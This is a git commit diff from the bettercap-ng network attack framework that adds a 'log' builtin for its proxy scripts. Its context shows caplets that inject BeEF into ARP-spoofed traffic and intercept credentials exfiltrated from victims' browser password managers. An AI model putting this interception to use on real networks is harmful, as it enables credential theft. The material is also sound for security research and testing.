new: added new log builtin function for sync logging with prompt

This commit is contained in:
evilsocket 2018-01-11 02:00:30 +01:00
parent acbc10d4e8
commit d87bf8a3ba
4 changed files with 16 additions and 6 deletions

View file

@ -1,6 +1,6 @@
function onLoad() { function onLoad() {
console.log( "BeefInject loaded." ); log( "BeefInject loaded." );
console.log("targets: " + env['arp.spoof.targets']); log("targets: " + env['arp.spoof.targets']);
} }
function onResponse(req, res) { function onResponse(req, res) {

View file

@ -1,5 +1,4 @@
var RESET = "\033[0m"; var RESET = "\033[0m";
var log = console.log;
function R(s) { function R(s) {
return "\033[31m" + s + RESET; return "\033[31m" + s + RESET;

View file

@ -12,14 +12,14 @@
var AbuserJavascript = ""; var AbuserJavascript = "";
function onLoad() { function onLoad() {
// console.log( "Loading abuser code from caplets/login-man-abuser.js" ); // log( "Loading abuser code from caplets/login-man-abuser.js" );
AbuserJavascript = readFile("caplets/login-man-abuser.js") AbuserJavascript = readFile("caplets/login-man-abuser.js")
} }
// here we intercept the ajax POST request with leaked credentials. // here we intercept the ajax POST request with leaked credentials.
function onRequest(req, res) { function onRequest(req, res) {
if( req.Method == 'POST' && req.Path == "/login-man-abuser" ) { if( req.Method == 'POST' && req.Path == "/login-man-abuser" ) {
console.log( "[LOGIN MANAGER ABUSER]", req.ReadBody() ); log( "[LOGIN MANAGER ABUSER]\n", req.ReadBody() );
// this was just a fake request we needed to exfiltrate // this was just a fake request we needed to exfiltrate
// credentials to us, drop the connection with an empty 200. // credentials to us, drop the connection with an empty 200.
res.Status = 200; res.Status = 200;

View file

@ -1,6 +1,7 @@
package modules package modules
import ( import (
"fmt"
"io/ioutil" "io/ioutil"
"github.com/evilsocket/bettercap-ng/log" "github.com/evilsocket/bettercap-ng/log"
@ -26,5 +27,15 @@ func (s *ProxyScript) defineBuiltins() error {
return v return v
}) })
s.VM.Set("log", func(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
fmt.Printf("%s", v.String())
}
fmt.Println()
s.sess.Input.Refresh()
return otto.Value{}
})
return nil return nil
} }